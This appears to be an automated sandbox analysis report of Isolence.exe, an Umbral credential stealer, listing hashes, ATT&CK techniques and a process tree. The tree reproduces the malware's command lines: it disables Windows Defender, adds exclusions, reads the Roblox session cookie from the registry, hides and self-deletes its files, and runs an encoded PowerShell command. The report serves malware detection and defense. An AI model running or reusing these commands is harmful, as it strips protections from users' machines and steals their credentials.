Analysis
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max time kernel
131s -
max time network
132s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
23-09-2024 04:00
Static task
static1
Behavioral task
behavioral1
Sample
Isolence.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
Isolence.exe
Resource
win10v2004-20240802-en
General
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Target
Isolence.exe
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Size
402KB
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MD5
87e7cabc378978827ad35f11a7e3d311
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SHA1
eebf169bc83f6809229a8e2bd7925f99c216842f
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SHA256
441d5ad14a8d62643e2fe09046f6afe5b04b045c89dc3b213fcb695d5faa0063
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SHA512
2893da6232254d14d8038529e636f8178ef0b2143f640e6655de9186635b545d19713c843409840f8a1807adfe9ef10c344a42d448c9d71663f988d29467f039
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SSDEEP
6144:Vqg1BFe479zdJQxMh1PLm1Puu24ZmlLKSCbOymoeFKJCTownhl4K/X:Vx247OGQ3Z+WS2eVPnv4Kv
Malware Config
Signatures
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Detect Umbral payload 2 IoCs
resource yara_rule behavioral2/files/0x000800000002360e-4.dat family_umbral behavioral2/memory/3712-11-0x000001DA569E0000-0x000001DA56A20000-memory.dmp family_umbral -
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
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Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 4584 powershell.exe 2616 powershell.exe 5612 powershell.exe 4208 powershell.exe -
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts insolence.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation Isolence.exe -
Executes dropped EXE 1 IoCs
pid Process 3712 insolence.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 23 discord.com 24 discord.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 10 ip-api.com -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Isolence.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 4608 cmd.exe 3884 PING.EXE -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 4156 wmic.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 3884 PING.EXE -
Suspicious behavior: EnumeratesProcesses 16 IoCs
pid Process 3396 powershell.exe 3396 powershell.exe 3712 insolence.exe 4584 powershell.exe 4584 powershell.exe 4584 powershell.exe 2616 powershell.exe 2616 powershell.exe 2616 powershell.exe 5612 powershell.exe 5612 powershell.exe 4424 powershell.exe 4424 powershell.exe 4208 powershell.exe 4208 powershell.exe 4208 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3712 insolence.exe Token: SeDebugPrivilege 3396 powershell.exe Token: SeIncreaseQuotaPrivilege 1688 wmic.exe Token: SeSecurityPrivilege 1688 wmic.exe Token: SeTakeOwnershipPrivilege 1688 wmic.exe Token: SeLoadDriverPrivilege 1688 wmic.exe Token: SeSystemProfilePrivilege 1688 wmic.exe Token: SeSystemtimePrivilege 1688 wmic.exe Token: SeProfSingleProcessPrivilege 1688 wmic.exe Token: SeIncBasePriorityPrivilege 1688 wmic.exe Token: SeCreatePagefilePrivilege 1688 wmic.exe Token: SeBackupPrivilege 1688 wmic.exe Token: SeRestorePrivilege 1688 wmic.exe Token: SeShutdownPrivilege 1688 wmic.exe Token: SeDebugPrivilege 1688 wmic.exe Token: SeSystemEnvironmentPrivilege 1688 wmic.exe Token: SeRemoteShutdownPrivilege 1688 wmic.exe Token: SeUndockPrivilege 1688 wmic.exe Token: SeManageVolumePrivilege 1688 wmic.exe Token: 33 1688 wmic.exe Token: 34 1688 wmic.exe Token: 35 1688 wmic.exe Token: 36 1688 wmic.exe Token: SeIncreaseQuotaPrivilege 1688 wmic.exe Token: SeSecurityPrivilege 1688 wmic.exe Token: SeTakeOwnershipPrivilege 1688 wmic.exe Token: SeLoadDriverPrivilege 1688 wmic.exe Token: SeSystemProfilePrivilege 1688 wmic.exe Token: SeSystemtimePrivilege 1688 wmic.exe Token: SeProfSingleProcessPrivilege 1688 wmic.exe Token: SeIncBasePriorityPrivilege 1688 wmic.exe Token: SeCreatePagefilePrivilege 1688 wmic.exe Token: SeBackupPrivilege 1688 wmic.exe Token: SeRestorePrivilege 1688 wmic.exe Token: SeShutdownPrivilege 1688 wmic.exe Token: SeDebugPrivilege 1688 wmic.exe Token: SeSystemEnvironmentPrivilege 1688 wmic.exe Token: SeRemoteShutdownPrivilege 1688 wmic.exe Token: SeUndockPrivilege 1688 wmic.exe Token: SeManageVolumePrivilege 1688 wmic.exe Token: 33 1688 wmic.exe Token: 34 1688 wmic.exe Token: 35 1688 wmic.exe Token: 36 1688 wmic.exe Token: SeDebugPrivilege 4584 powershell.exe Token: SeDebugPrivilege 2616 powershell.exe Token: SeDebugPrivilege 5612 powershell.exe Token: SeDebugPrivilege 4424 powershell.exe Token: SeIncreaseQuotaPrivilege 4116 wmic.exe Token: SeSecurityPrivilege 4116 wmic.exe Token: SeTakeOwnershipPrivilege 4116 wmic.exe Token: SeLoadDriverPrivilege 4116 wmic.exe Token: SeSystemProfilePrivilege 4116 wmic.exe Token: SeSystemtimePrivilege 4116 wmic.exe Token: SeProfSingleProcessPrivilege 4116 wmic.exe Token: SeIncBasePriorityPrivilege 4116 wmic.exe Token: SeCreatePagefilePrivilege 4116 wmic.exe Token: SeBackupPrivilege 4116 wmic.exe Token: SeRestorePrivilege 4116 wmic.exe Token: SeShutdownPrivilege 4116 wmic.exe Token: SeDebugPrivilege 4116 wmic.exe Token: SeSystemEnvironmentPrivilege 4116 wmic.exe Token: SeRemoteShutdownPrivilege 4116 wmic.exe Token: SeUndockPrivilege 4116 wmic.exe -
Suspicious use of WriteProcessMemory 31 IoCs
description pid Process procid_target PID 3908 wrote to memory of 3396 3908 Isolence.exe 89 PID 3908 wrote to memory of 3396 3908 Isolence.exe 89 PID 3908 wrote to memory of 3396 3908 Isolence.exe 89 PID 3908 wrote to memory of 3712 3908 Isolence.exe 91 PID 3908 wrote to memory of 3712 3908 Isolence.exe 91 PID 3712 wrote to memory of 1688 3712 insolence.exe 92 PID 3712 wrote to memory of 1688 3712 insolence.exe 92 PID 3712 wrote to memory of 1736 3712 insolence.exe 95 PID 3712 wrote to memory of 1736 3712 insolence.exe 95 PID 3712 wrote to memory of 4584 3712 insolence.exe 97 PID 3712 wrote to memory of 4584 3712 insolence.exe 97 PID 3712 wrote to memory of 2616 3712 insolence.exe 99 PID 3712 wrote to memory of 2616 3712 insolence.exe 99 PID 3712 wrote to memory of 5612 3712 insolence.exe 101 PID 3712 wrote to memory of 5612 3712 insolence.exe 101 PID 3712 wrote to memory of 4424 3712 insolence.exe 103 PID 3712 wrote to memory of 4424 3712 insolence.exe 103 PID 3712 wrote to memory of 4116 3712 insolence.exe 107 PID 3712 wrote to memory of 4116 3712 insolence.exe 107 PID 3712 wrote to memory of 4436 3712 insolence.exe 110 PID 3712 wrote to memory of 4436 3712 insolence.exe 110 PID 3712 wrote to memory of 4384 3712 insolence.exe 112 PID 3712 wrote to memory of 4384 3712 insolence.exe 112 PID 3712 wrote to memory of 4208 3712 insolence.exe 114 PID 3712 wrote to memory of 4208 3712 insolence.exe 114 PID 3712 wrote to memory of 4156 3712 insolence.exe 116 PID 3712 wrote to memory of 4156 3712 insolence.exe 116 PID 3712 wrote to memory of 4608 3712 insolence.exe 118 PID 3712 wrote to memory of 4608 3712 insolence.exe 118 PID 4608 wrote to memory of 3884 4608 cmd.exe 120 PID 4608 wrote to memory of 3884 4608 cmd.exe 120 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 1736 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\Isolence.exe"C:\Users\Admin\AppData\Local\Temp\Isolence.exe"1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3908 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAZAB1ACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHEAdABxACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAUgBlAHMAdABhAHIAdAAgAHAAYwAnACwAJwAnACwAJwBPAEsAJwAsACcARQByAHIAbwByACcAKQA8ACMAZABpAGIAIwA+AA=="2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3396
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C:\Users\Admin\AppData\Local\Temp\insolence.exe"C:\Users\Admin\AppData\Local\Temp\insolence.exe"2⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3712 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1688
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C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\insolence.exe"3⤵
- Views/modifies file attributes
PID:1736
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\insolence.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4584
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 23⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2616
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5612
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4424
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4116
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory3⤵PID:4436
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid3⤵PID:4384
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4208
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C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name3⤵
- Detects videocard installed
PID:4156
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\insolence.exe" && pause3⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:4608 -
C:\Windows\system32\PING.EXEping localhost4⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:3884
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4768,i,2904906934812054273,11716976550456127484,262144 --variations-seed-version --mojo-platform-channel-handle=1420 /prefetch:81⤵PID:4476
Network
MITRE ATT&CK Enterprise v15
Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Obfuscated Files or Information
1Command Obfuscation
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
1KB
MD57164c3d7c57ebbaec233482f2e1cc1f1
SHA1a767f48a2a10c216470d0782100828f0bed91579
SHA25665ca843513f0f6ee03ae9b357fd6fea801a17ffe23c8a04777f8f06a5f0206ae
SHA512bc09ee737727408fa5a969a6eb2be0be83d521e4f3f6c0567e4caa28f09de2794d413fbef52a5a7243fb49005d69ab56052ce417440d07beadbc6684cb362951
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Filesize
17KB
MD57de15706fa6fa46ecdb8a82ac79037db
SHA1b0bc03d1e6cfcb416d174bde136504170f272fb8
SHA256bdb5c949b53916eb335adf5bc611f5ff3627abbfcdb54e3b0c2b64e92bf41d34
SHA512bb8502762e580539478ca816d25fa2126899da32bbb488ef43d50cd7587e7890014c80eec80372340694dd7bb7aba3069d2215a3e087c08e1b3b10cc7102871a
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Filesize
944B
MD577d622bb1a5b250869a3238b9bc1402b
SHA1d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
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Filesize
948B
MD5966914e2e771de7a4a57a95b6ecfa8a9
SHA17a32282fd51dd032967ed4d9a40cc57e265aeff2
SHA25698d3c70d7004fa807897317bd6cd3e977b9b6c72d4d2565aca0f9f8b1c315cba
SHA512dc39c7124a9c7c8d4c7e8e16290c46360b8d9a8f4e43edaacbbeb09bdcf20159a53db54d2b322372001b6a3de52b2f88e9088b5fdbc7638816ae0d122bb015f5
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Filesize
1KB
MD5276798eeb29a49dc6e199768bc9c2e71
SHA15fdc8ccb897ac2df7476fbb07517aca5b7a6205b
SHA256cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc
SHA5120d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
229KB
MD57553d23f56459f7a00e0c4d0bafaf675
SHA1625bed675494bcba3860b57680bef8e09ba7429d
SHA256d385a83b02ae2e7a2357a17abaa909406a88ad720faee797ad3fb11bdcc31200
SHA512a577a2c02960b8fdb4614cf41cbde3da6e22f548e2a100885f58d763cb5c38893a21d07ebdc2046890e0cb9fcede09f7dd935d713e35ae184d679766c9ac3b41